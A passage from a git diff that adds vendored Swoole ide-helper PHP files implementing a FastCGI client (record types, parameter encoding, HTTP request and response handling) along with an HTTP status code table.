$buffer); + $recordType = $recordHeader['type']; + if (!isset(self::$classMapping[$recordType])) { + throw new DomainException("Invalid FastCGI record type {$recordType} received"); + } + + /** @var Record $className */ + $className = self::$classMapping[$recordType]; + $record = $className::unpack($buffer); + + $offset = FastCGI::HEADER_LEN + $record->getContentLength() + $record->getPaddingLength(); + $buffer = substr($buffer, $offset); + + return $record; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpRequest.php new file mode 100644 index 0000000..899ad0d --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpRequest.php @@ -0,0 +1,424 @@ + 'http', + 'REQUEST_METHOD' => 'GET', + 'DOCUMENT_ROOT' => '', + 'SCRIPT_FILENAME' => '', + 'SCRIPT_NAME' => '', + 'DOCUMENT_URI' => '/', + 'REQUEST_URI' => '/', + 'QUERY_STRING' => '', + 'CONTENT_TYPE' => 'text/plain', + 'CONTENT_LENGTH' => '0', + 'GATEWAY_INTERFACE' => 'CGI/1.1', + 'SERVER_PROTOCOL' => 'HTTP/1.1', + 'SERVER_SOFTWARE' => 'swoole/' . SWOOLE_VERSION, + 'REMOTE_ADDR' => 'unknown', + 'REMOTE_PORT' => '0', + 'SERVER_ADDR' => 'unknown', + 'SERVER_PORT' => '0', + 'SERVER_NAME' => 'Swoole', + 'REDIRECT_STATUS' => '200', + ]; + + public function getScheme(): ?string + { + return $this->params['REQUEST_SCHEME'] ?? null; + } + + public function withScheme(string $scheme): self + { + $this->params['REQUEST_SCHEME'] = $scheme; + return $this; + } + + public function withoutScheme(): void + { + unset($this->params['REQUEST_SCHEME']); + } + + public function getMethod(): ?string + { + return $this->params['REQUEST_METHOD'] ?? null; + } + + public function withMethod(string $method): self + { + $this->params['REQUEST_METHOD'] = $method; + return $this; + } + + public function withoutMethod(): void + { + unset($this->params['REQUEST_METHOD']); + } + + public function getDocumentRoot(): ?string + { + return $this->params['DOCUMENT_ROOT'] ?? null; + } + + public function withDocumentRoot(string $documentRoot): self + { + $this->params['DOCUMENT_ROOT'] = $documentRoot; + return $this; + } + + public function withoutDocumentRoot(): void + { + unset($this->params['DOCUMENT_ROOT']); + } + + public function getScriptFilename(): ?string + { + return $this->params['SCRIPT_FILENAME'] ?? null; + } + + public function withScriptFilename(string $scriptFilename): self + { + $this->params['SCRIPT_FILENAME'] = $scriptFilename; + return $this; + } + + public function withoutScriptFilename(): void + { + unset($this->params['SCRIPT_FILENAME']); + } + + public function getScriptName(): ?string + { + return $this->params['SCRIPT_NAME'] ?? null; + } + + public function withScriptName(string $scriptName): self + { + $this->params['SCRIPT_NAME'] = $scriptName; + return $this; + } + + public function withoutScriptName(): void + { + unset($this->params['SCRIPT_NAME']); + } + + public function withUri(string $uri): self + { + $info = parse_url($uri); + return $this->withRequestUri($uri) + ->withDocumentUri($info['path'] ?? '') + ->withQueryString($info['query'] ?? ''); + } + + public function getDocumentUri(): ?string + { + return $this->params['DOCUMENT_URI'] ?? null; + } + + public function withDocumentUri(string $documentUri): self + { + $this->params['DOCUMENT_URI'] = $documentUri; + return $this; + } + + public function withoutDocumentUri(): void + { + unset($this->params['DOCUMENT_URI']); + } + + public function getRequestUri(): ?string + { + return $this->params['REQUEST_URI'] ?? null; + } + + public function withRequestUri(string $requestUri): self + { + $this->params['REQUEST_URI'] = $requestUri; + return $this; + } + + public function withoutRequestUri(): void + { + unset($this->params['REQUEST_URI']); + } + + public function withQuery($query): self + { + if (is_array($query)) { + $query = http_build_query($query); + } + return $this->withQueryString($query); + } + + public function getQueryString(): ?string + { + return $this->params['QUERY_STRING'] ?? null; + } + + public function withQueryString(string $queryString): self + { + $this->params['QUERY_STRING'] = $queryString; + return $this; + } + + public function withoutQueryString(): void + { + unset($this->params['QUERY_STRING']); + } + + public function getContentType(): ?string + { + return $this->params['CONTENT_TYPE'] ?? null; + } + + public function withContentType(string $contentType): self + { + $this->params['CONTENT_TYPE'] = $contentType; + return $this; + } + + public function withoutContentType(): void + { + unset($this->params['CONTENT_TYPE']); + } + + public function getContentLength(): ?int + { + return isset($this->params['CONTENT_LENGTH']) ? (int) $this->params['CONTENT_LENGTH'] : null; + } + + public function withContentLength(int $contentLength): self + { + $this->params['CONTENT_LENGTH'] = (string) $contentLength; + return $this; + } + + public function withoutContentLength(): void + { + unset($this->params['CONTENT_LENGTH']); + } + + public function getGatewayInterface(): ?string + { + return $this->params['GATEWAY_INTERFACE'] ?? null; + } + + public function withGatewayInterface(string $gatewayInterface): self + { + $this->params['GATEWAY_INTERFACE'] = $gatewayInterface; + return $this; + } + + public function withoutGatewayInterface(): void + { + unset($this->params['GATEWAY_INTERFACE']); + } + + public function getServerProtocol(): ?string + { + return $this->params['SERVER_PROTOCOL'] ?? null; + } + + public function withServerProtocol(string $serverProtocol): self + { + $this->params['SERVER_PROTOCOL'] = $serverProtocol; + return $this; + } + + public function withoutServerProtocol(): void + { + unset($this->params['SERVER_PROTOCOL']); + } + + public function withProtocolVersion(string $protocolVersion): self + { + if (!is_numeric($protocolVersion)) { + throw new InvalidArgumentException('Protocol version must be numeric'); + } + $this->params['SERVER_PROTOCOL'] = "HTTP/{$protocolVersion}"; + return $this; + } + + public function getServerSoftware(): ?string + { + return $this->params['SERVER_SOFTWARE'] ?? null; + } + + public function withServerSoftware(string $serverSoftware): self + { + $this->params['SERVER_SOFTWARE'] = $serverSoftware; + return $this; + } + + public function withoutServerSoftware(): void + { + unset($this->params['SERVER_SOFTWARE']); + } + + public function getRemoteAddr(): ?string + { + return $this->params['REMOTE_ADDR'] ?? null; + } + + public function withRemoteAddr(string $remoteAddr): self + { + $this->params['REMOTE_ADDR'] = $remoteAddr; + return $this; + } + + public function withoutRemoteAddr(): void + { + unset($this->params['REMOTE_ADDR']); + } + + public function getRemotePort(): ?int + { + return isset($this->params['REMOTE_PORT']) ? (int) $this->params['REMOTE_PORT'] : null; + } + + public function withRemotePort(int $remotePort): self + { + $this->params['REMOTE_PORT'] = (string) $remotePort; + return $this; + } + + public function withoutRemotePort(): void + { + unset($this->params['REMOTE_PORT']); + } + + public function getServerAddr(): ?string + { + return $this->params['SERVER_ADDR'] ?? null; + } + + public function withServerAddr(string $serverAddr): self + { + $this->params['SERVER_ADDR'] = $serverAddr; + return $this; + } + + public function withoutServerAddr(): void + { + unset($this->params['SERVER_ADDR']); + } + + public function getServerPort(): ?int + { + return isset($this->params['SERVER_PORT']) ? (int) $this->params['SERVER_PORT'] : null; + } + + public function withServerPort(int $serverPort): self + { + $this->params['SERVER_PORT'] = (string) $serverPort; + return $this; + } + + public function withoutServerPort(): void + { + unset($this->params['SERVER_PORT']); + } + + public function getServerName(): ?string + { + return $this->params['SERVER_NAME'] ?? null; + } + + public function withServerName(string $serverName): self + { + $this->params['SERVER_NAME'] = $serverName; + return $this; + } + + public function withoutServerName(): void + { + unset($this->params['SERVER_NAME']); + } + + public function getRedirectStatus(): ?string + { + return $this->params['REDIRECT_STATUS'] ?? null; + } + + public function withRedirectStatus(string $redirectStatus): self + { + $this->params['REDIRECT_STATUS'] = $redirectStatus; + return $this; + } + + public function withoutRedirectStatus(): void + { + unset($this->params['REDIRECT_STATUS']); + } + + public function getHeader(string $name): ?string + { + return $this->params[static::convertHeaderNameToParamName($name)] ?? null; + } + + public function withHeader(string $name, string $value): self + { + $this->params[static::convertHeaderNameToParamName($name)] = $value; + return $this; + } + + public function withoutHeader(string $name): void + { + unset($this->params[static::convertHeaderNameToParamName($name)]); + } + + public function getHeaders(): array + { + $headers = []; + foreach ($this->params as $name => $value) { + if (strpos($name, 'HTTP_') === 0) { + $headers[static::convertParamNameToHeaderName($name)] = $value; + } + } + return $headers; + } + + public function withHeaders(array $headers): self + { + foreach ($headers as $name => $value) { + $this->withHeader($name, $value); + } + return $this; + } + + /** @return $this */ + public function withBody($body): Message + { + if (is_array($body)) { + $body = http_build_query($body); + $this->withContentType('application/x-www-form-urlencoded'); + } + parent::withBody($body); + return $this->withContentLength(strlen($body)); + } + + protected static function convertHeaderNameToParamName(string $name) + { + return 'HTTP_' . str_replace('-', '_', strtoupper($name)); + } + + protected static function convertParamNameToHeaderName(string $name) + { + return ucwords(str_replace('_', '-', substr($name, strlen('HTTP_'))), '-'); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpResponse.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpResponse.php new file mode 100644 index 0000000..883ba9a --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpResponse.php @@ -0,0 +1,128 @@ +getBody(); + if (strlen($body) === 0) { + return; + } + $array = explode("\r\n\r\n", $body, 2); // An array that contains the HTTP headers and the body. + if (count($array) != 2) { + $this->withStatusCode(Status::BAD_GATEWAY)->withReasonPhrase('Invalid FastCGI Response')->withError($body); + return; + } + $headers = explode("\r\n", $array[0]); + $body = $array[1]; + foreach ($headers as $header) { + $array = explode(':', $header, 2); // An array that contains the name and the value of an HTTP header. + if (count($array) != 2) { + continue; // Invalid HTTP header? Ignore it! + } + $name = trim($array[0]); + $value = trim($array[1]); + if (strcasecmp($name, 'Status') === 0) { + $array = explode(' ', $value, 2); // An array that contains the status code (and the reason phrase). + $statusCode = $array[0]; + $reasonPhrase = $array[1] ?? null; + } elseif (strcasecmp($name, 'Set-Cookie') === 0) { + $this->withSetCookieHeaderLine($value); + } else { + $this->withHeader($name, $value); + } + } + $statusCode = (int) ($statusCode ?? Status::OK); + $reasonPhrase = (string) ($reasonPhrase ?? Status::getReasonPhrase($statusCode)); + $this->withStatusCode($statusCode)->withReasonPhrase($reasonPhrase); + $this->withBody($body); + } + + public function getStatusCode(): int + { + return $this->statusCode; + } + + public function withStatusCode(int $statusCode): self + { + $this->statusCode = $statusCode; + return $this; + } + + public function getReasonPhrase(): string + { + return $this->reasonPhrase; + } + + public function withReasonPhrase(string $reasonPhrase): self + { + $this->reasonPhrase = $reasonPhrase; + return $this; + } + + public function getHeader(string $name): ?string + { + $name = $this->headersMap[strtolower($name)] ?? null; + return $name ? $this->headers[$name] : null; + } + + public function getHeaders(): array + { + return $this->headers; + } + + public function withHeader(string $name, string $value): self + { + $this->headers[$name] = $value; + $this->headersMap[strtolower($name)] = $name; + return $this; + } + + public function withHeaders(array $headers): self + { + foreach ($headers as $name => $value) { + $this->withHeader($name, $value); + } + return $this; + } + + public function getSetCookieHeaderLines(): array + { + return $this->setCookieHeaderLines; + } + + public function withSetCookieHeaderLine(string $value): self + { + $this->setCookieHeaderLines[] = $value; + return $this; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Message.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Message.php new file mode 100644 index 0000000..c9604c6 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Message.php @@ -0,0 +1,80 @@ +params[$name] ?? null; + } + + public function withParam(string $name, string $value): self + { + $this->params[$name] = $value; + return $this; + } + + public function withoutParam(string $name): self + { + unset($this->params[$name]); + return $this; + } + + public function getParams(): array + { + return $this->params; + } + + public function withParams(array $params): self + { + $this->params = $params; + return $this; + } + + public function withAddedParams(array $params): self + { + $this->params = $params + $this->params; + return $this; + } + + public function getBody(): string + { + return $this->body; + } + + public function withBody($body): self + { + $this->body = (string) $body; + return $this; + } + + public function getError(): string + { + return $this->error; + } + + public function withError(string $error): self + { + $this->error = $error; + return $this; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record.php new file mode 100644 index 0000000..050f3a3 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record.php @@ -0,0 +1,232 @@ +version, + $this->type, + $this->requestId, + $this->contentLength, + $this->paddingLength, + $this->reserved + ); + + $payloadPacket = $this->packPayload(); + $paddingPacket = pack("a{$this->paddingLength}", $this->paddingData); + + return $headerPacket . $payloadPacket . $paddingPacket; + } + + /** + * Unpacks the message from the binary data buffer + * + * @param string $data Binary buffer with raw data + * + * @return static + */ + final public static function unpack(string $data): self + { + $self = new static(); + [ + $self->version, + $self->type, + $self->requestId, + $self->contentLength, + $self->paddingLength, + $self->reserved + ] = array_values(unpack(FastCGI::HEADER_FORMAT, $data)); + + $payload = substr($data, FastCGI::HEADER_LEN); + self::unpackPayload($self, $payload); + if (get_called_class() !== __CLASS__ && $self->contentLength > 0) { + static::unpackPayload($self, $payload); + } + + return $self; + } + + /** + * Sets the content data and adjusts the length fields + * + * @return static + */ + public function setContentData(string $data): self + { + $this->contentLength = strlen($data); + if ($this->contentLength > FastCGI::MAX_CONTENT_LENGTH) { + $this->contentLength = FastCGI::MAX_CONTENT_LENGTH; + $this->contentData = substr($data, 0, FastCGI::MAX_CONTENT_LENGTH); + } else { + $this->contentData = $data; + } + $extraLength = $this->contentLength % 8; + $this->paddingLength = $extraLength ? (8 - $extraLength) : 0; + return $this; + } + + /** + * Returns the context data from the record + */ + public function getContentData(): string + { + return $this->contentData; + } + + /** + * Returns the version of record + */ + public function getVersion(): int + { + return $this->version; + } + + /** + * Returns record type + */ + public function getType(): int + { + return $this->type; + } + + /** + * Returns request ID + */ + public function getRequestId(): int + { + return $this->requestId; + } + + /** + * Sets request ID + * + * There should be only one unique ID for all active requests, + * use random number or preferably resetting auto-increment. + * + * @return static + */ + public function setRequestId(int $requestId): self + { + $this->requestId = $requestId; + return $this; + } + + /** + * Returns the size of content length + */ + final public function getContentLength(): int + { + return $this->contentLength; + } + + /** + * Returns the size of padding length + */ + final public function getPaddingLength(): int + { + return $this->paddingLength; + } + + /** + * Method to unpack the payload for the record. + * + * NB: Default implementation will be always called + * + * @param static $self Instance of current frame + * @param string $data Binary data + */ + protected static function unpackPayload($self, string $data): void + { + [ + $self->contentData, + $self->paddingData + ] = array_values( + unpack("a{$self->contentLength}contentData/a{$self->paddingLength}paddingData", $data) + ); + } + + /** + * Implementation of packing the payload + */ + protected function packPayload(): string + { + return pack("a{$this->contentLength}", $this->contentData); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/AbortRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/AbortRequest.php new file mode 100644 index 0000000..7a04dbd --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/AbortRequest.php @@ -0,0 +1,27 @@ +type = FastCGI::ABORT_REQUEST; + $this->setRequestId($requestId); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/BeginRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/BeginRequest.php new file mode 100644 index 0000000..15e2d13 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/BeginRequest.php @@ -0,0 +1,113 @@ +type = FastCGI::BEGIN_REQUEST; + $this->role = $role; + $this->flags = $flags; + $this->reserved1 = $reserved; + $this->setContentData($this->packPayload()); + } + + /** + * Returns the role + * + * The role component sets the role the Web server expects the application to play. + * The currently-defined roles are: + * FCGI_RESPONDER + * FCGI_AUTHORIZER + * FCGI_FILTER + */ + public function getRole(): int + { + return $this->role; + } + + /** + * Returns the flags + * + * The flags component contains a bit that controls connection shutdown. + * + * flags & FCGI_KEEP_CONN: + * If zero, the application closes the connection after responding to this request. + * If not zero, the application does not close the connection after responding to this request; + * the Web server retains responsibility for the connection. + */ + public function getFlags(): int + { + return $this->flags; + } + + /** + * {@inheritdoc} + * @param static $self + */ + protected static function unpackPayload($self, string $data): void + { + [ + $self->role, + $self->flags, + $self->reserved1 + ] = array_values(unpack('nrole/Cflags/a5reserved', $data)); + } + + /** {@inheritdoc} */ + protected function packPayload(): string + { + return pack( + 'nCa5', + $this->role, + $this->flags, + $this->reserved1 + ); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Data.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Data.php new file mode 100644 index 0000000..d7b7df3 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Data.php @@ -0,0 +1,29 @@ +type = FastCGI::DATA; + $this->setContentData($contentData); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/EndRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/EndRequest.php new file mode 100644 index 0000000..a833024 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/EndRequest.php @@ -0,0 +1,117 @@ +type = FastCGI::END_REQUEST; + $this->protocolStatus = $protocolStatus; + $this->appStatus = $appStatus; + $this->reserved1 = $reserved; + $this->setContentData($this->packPayload()); + } + + /** + * Returns app status + * + * The appStatus component is an application-level status code. Each role documents its usage of appStatus. + */ + public function getAppStatus(): int + { + return $this->appStatus; + } + + /** + * Returns the protocol status + * + * The possible protocolStatus values are: + * FCGI_REQUEST_COMPLETE: normal end of request. + * FCGI_CANT_MPX_CONN: rejecting a new request. + * This happens when a Web server sends concurrent requests over one connection to an application that is + * designed to process one request at a time per connection. + * FCGI_OVERLOADED: rejecting a new request. + * This happens when the application runs out of some resource, e.g. database connections. + * FCGI_UNKNOWN_ROLE: rejecting a new request. + * This happens when the Web server has specified a role that is unknown to the application. + */ + public function getProtocolStatus(): int + { + return $this->protocolStatus; + } + + /** + * {@inheritdoc} + * @param static $self + */ + protected static function unpackPayload($self, string $data): void + { + [ + $self->appStatus, + $self->protocolStatus, + $self->reserved1 + ] = array_values(unpack('NappStatus/CprotocolStatus/a3reserved', $data)); + } + + /** {@inheritdoc} */ + protected function packPayload(): string + { + return pack( + 'NCa3', + $this->appStatus, + $this->protocolStatus, + $this->reserved1 + ); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValues.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValues.php new file mode 100644 index 0000000..e7c5965 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValues.php @@ -0,0 +1,48 @@ +type = FastCGI::GET_VALUES; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValuesResult.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValuesResult.php new file mode 100644 index 0000000..225d8c1 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValuesResult.php @@ -0,0 +1,46 @@ +type = FastCGI::GET_VALUES_RESULT; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Params.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Params.php new file mode 100644 index 0000000..f0c2b5c --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Params.php @@ -0,0 +1,120 @@ +type = FastCGI::PARAMS; + $this->values = $values; + $this->setContentData($this->packPayload()); + } + + /** + * Returns an associative list of parameters + */ + public function getValues(): array + { + return $this->values; + } + + /** + * {@inheritdoc} + * @param static $self + */ + protected static function unpackPayload($self, string $data): void + { + $currentOffset = 0; + do { + [$nameLengthHigh] = array_values(unpack('CnameLengthHigh', $data)); + $isLongName = ($nameLengthHigh >> 7 == 1); + $valueOffset = $isLongName ? 4 : 1; + + [$valueLengthHigh] = array_values(unpack('CvalueLengthHigh', substr($data, $valueOffset))); + $isLongValue = ($valueLengthHigh >> 7 == 1); + $dataOffset = $valueOffset + ($isLongValue ? 4 : 1); + + $formatParts = [ + $isLongName ? 'NnameLength' : 'CnameLength', + $isLongValue ? 'NvalueLength' : 'CvalueLength', + ]; + $format = join('/', $formatParts); + [$nameLength, $valueLength] = array_values(unpack($format, $data)); + + // Clear top bit for long record + $nameLength &= ($isLongName ? 0x7fffffff : 0x7f); + $valueLength &= ($isLongValue ? 0x7fffffff : 0x7f); + + [$nameData, $valueData] = array_values( + unpack( + "a{$nameLength}nameData/a{$valueLength}valueData", + substr($data, $dataOffset) + ) + ); + + $self->values[$nameData] = $valueData; + + $keyValueLength = $dataOffset + $nameLength + $valueLength; + $data = substr($data, $keyValueLength); + $currentOffset += $keyValueLength; + } while ($currentOffset < $self->getContentLength()); + } + + /** {@inheritdoc} */ + protected function packPayload(): string + { + $payload = ''; + foreach ($this->values as $nameData => $valueData) { + if ($valueData === null) { + continue; + } + $nameLength = strlen($nameData); + $valueLength = strlen((string) $valueData); + $isLongName = $nameLength > 127; + $isLongValue = $valueLength > 127; + $formatParts = [ + $isLongName ? 'N' : 'C', + $isLongValue ? 'N' : 'C', + "a{$nameLength}", + "a{$valueLength}", + ]; + $format = join('', $formatParts); + + $payload .= pack( + $format, + $isLongName ? ($nameLength | 0x80000000) : $nameLength, + $isLongValue ? ($valueLength | 0x80000000) : $valueLength, + $nameData, + $valueData + ); + } + + return $payload; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stderr.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stderr.php new file mode 100644 index 0000000..72ef40e --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stderr.php @@ -0,0 +1,29 @@ +type = FastCGI::STDERR; + $this->setContentData($contentData); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdin.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdin.php new file mode 100644 index 0000000..01b883b --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdin.php @@ -0,0 +1,29 @@ +type = FastCGI::STDIN; + $this->setContentData($contentData); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdout.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdout.php new file mode 100644 index 0000000..41b2a7b --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdout.php @@ -0,0 +1,29 @@ +type = FastCGI::STDOUT; + $this->setContentData($contentData); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/UnknownType.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/UnknownType.php new file mode 100644 index 0000000..ab502d6 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/UnknownType.php @@ -0,0 +1,75 @@ +type = FastCGI::UNKNOWN_TYPE; + $this->type1 = $type; + $this->reserved1 = $reserved; + $this->setContentData($this->packPayload()); + } + + /** + * Returns the unrecognized type + */ + public function getUnrecognizedType(): int + { + return $this->type1; + } + + /** + * {@inheritdoc} + * @param static $self + */ + public static function unpackPayload($self, string $data): void + { + [$self->type1, $self->reserved1] = array_values(unpack('Ctype/a7reserved', $data)); + } + + /** {@inheritdoc} */ + protected function packPayload(): string + { + return pack( + 'Ca7', + $this->type1, + $this->reserved1 + ); + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Request.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Request.php new file mode 100644 index 0000000..ca50f11 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Request.php @@ -0,0 +1,58 @@ +getBody(); + $beginRequestFrame = new BeginRequest(FastCGI::RESPONDER, ($this->keepConn ? FastCGI::KEEP_CONN : 0)); + $paramsFrame = new Params($this->getParams()); + $paramsEofFrame = new Params(); + if (empty($body)) { + $message = "{$beginRequestFrame}{$paramsFrame}{$paramsEofFrame}}"; + } else { + $stdinList = []; + while (true) { + $stdinList[] = $stdin = new Stdin($body); + $stdinLength = $stdin->getContentLength(); + if ($stdinLength === strlen($body)) { + break; + } + $body = substr($body, $stdinLength); + } + $stdinList[] = new Stdin(); + $stdin = implode($stdinList); + $message = "{$beginRequestFrame}{$paramsFrame}{$paramsEofFrame}{$stdin}}"; + } + return $message; + } + + public function getKeepConn(): bool + { + return $this->keepConn; + } + + public function withKeepConn(bool $keepConn): self + { + $this->keepConn = $keepConn; + return $this; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Response.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Response.php new file mode 100644 index 0000000..6345ed0 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Response.php @@ -0,0 +1,46 @@ +getContentLength() > 0) { + $body .= $record->getContentData(); + } + } elseif ($record instanceof Stderr) { + if ($record->getContentLength() > 0) { + $error .= $record->getContentData(); + } + } + } + $this->withBody($body)->withError($error); + } + + public static function verify(array $records): bool + { + return !empty($records) && $records[count($records) - 1] instanceof EndRequest; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Http/Status.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Http/Status.php new file mode 100644 index 0000000..6ba568e --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/Http/Status.php @@ -0,0 +1,211 @@ + 'Continue', + self::SWITCHING_PROTOCOLS => 'Switching Protocols', + self::PROCESSING => 'Processing', + self::OK => 'OK', + self::CREATED => 'Created', + self::ACCEPTED => 'Accepted', + self::NON_AUTHORITATIVE_INFORMATION => 'Non-Authoritative Information', + self::NO_CONTENT => 'No Content', + self::RESET_CONTENT => 'Reset Content', + self::PARTIAL_CONTENT => 'Partial Content', + self::MULTI_STATUS => 'Multi-status', + self::ALREADY_REPORTED => 'Already Reported', + self::IM_USED => 'IM Used', + self::MULTIPLE_CHOICES => 'Multiple Choices', + self::MOVED_PERMANENTLY => 'Moved Permanently', + self::FOUND => 'Found', + self::SEE_OTHER => 'See Other', + self::NOT_MODIFIED => 'Not Modified', + self::USE_PROXY => 'Use Proxy', + self::SWITCH_PROXY => 'Switch Proxy', + self::TEMPORARY_REDIRECT => 'Temporary Redirect', + self::PERMANENT_REDIRECT => 'Permanent Redirect', + self::BAD_REQUEST => 'Bad Request', + self::UNAUTHORIZED => 'Unauthorized', + self::PAYMENT_REQUIRED => 'Payment Required', + self::FORBIDDEN => 'Forbidden', + self::NOT_FOUND => 'Not Found', + self::METHOD_NOT_ALLOWED => 'Method Not Allowed', + self::NOT_ACCEPTABLE => 'Not Acceptable', + self::PROXY_AUTHENTICATION_REQUIRED => 'Proxy Authentication Required', + self::REQUEST_TIME_OUT => 'Request Time-out', + self::CONFLICT => 'Conflict', + self::GONE => 'Gone', + self::LENGTH_REQUIRED => 'Length Required', + self::PRECONDITION_FAILED => 'Precondition Failed', + self::REQUEST_ENTITY_TOO_LARGE => 'Request Entity Too Large', + self::REQUEST_URI_TOO_LARGE => 'Request-URI Too Large', + self::UNSUPPORTED_MEDIA_TYPE => 'Unsupported Media Type', + self::REQUESTED_RANGE_NOT_SATISFIABLE => 'Requested range not satisfiable', + self::EXPECTATION_FAILED => 'Expectation Failed', + self::MISDIRECTED_REQUEST => 'Unprocessable Entity', + self::UNPROCESSABLE_ENTITY => 'Unprocessable Entity', + self::LOCKED => 'Locked', + self::FAILED_DEPENDENCY => 'Failed Dependency', + self::UNORDERED_COLLECTION => 'Unordered Collection', + self::UPGRADE_REQUIRED => 'Upgrade Required', + self::PRECONDITION_REQUIRED => 'Precondition Required', + self::TOO_MANY_REQUESTS => 'Too Many Requests', + self::REQUEST_HEADER_FIELDS_TOO_LARGE => 'Request Header Fields Too Large', + self::UNAVAILABLE_FOR_LEGAL_REASONS => 'Unavailable For Legal Reasons', + self::INTERNAL_SERVER_ERROR => 'Internal Server Error', + self::NOT_IMPLEMENTED => 'Not Implemented', + self::BAD_GATEWAY => 'Bad Gateway', + self::SERVICE_UNAVAILABLE => 'Service Unavailable', + self::GATEWAY_TIME_OUT => 'Gateway Time-out', + self::HTTP_VERSION_NOT_SUPPORTED => 'HTTP Version not supported', + self::VARIANT_ALSO_NEGOTIATES => 'Variant Also Negotiates', + self::INSUFFICIENT_STORAGE => 'Insufficient Storage', + self::LOOP_DETECTED => 'Loop Detected', + self::NOT_EXTENDED => 'Not Extended', + self::NETWORK_AUTHENTICATION_REQUIRED => 'Network Authentication Required', + ]; + + public static function getReasonPhrases(): array + { + return static::$reasonPhrases; + } + + public static function getReasonPhrase(int $value): string + { + return static::$reasonPhrases[$value] ?? 'Unknown'; + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/MultibyteStringObject.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/MultibyteStringObject.php new file mode 100644 index 0000000..e45b847 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/MultibyteStringObject.php @@ -0,0 +1,73 @@ +string); + } + + /** + * @return false|int + */ + public function indexOf(string $needle, int $offset = 0, ?string $encoding = null) + { + return mb_strpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function lastIndexOf(string $needle, int $offset = 0, ?string $encoding = null) + { + return mb_strrpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function pos(string $needle, int $offset = 0, ?string $encoding = null) + { + return mb_strpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function rpos(string $needle, int $offset = 0, ?string $encoding = null) + { + return mb_strrpos($this->string, ...func_get_args()); + } + + /** + * @return false|int + */ + public function ipos(string $needle, ?string $encoding = null) + { + return mb_stripos($this->string, ...func_get_args()); + } + + /** + * @return static + */ + public function substr(int $offset, ?int $length = null, ?string $encoding = null) + { + return new static(mb_substr($this->string, 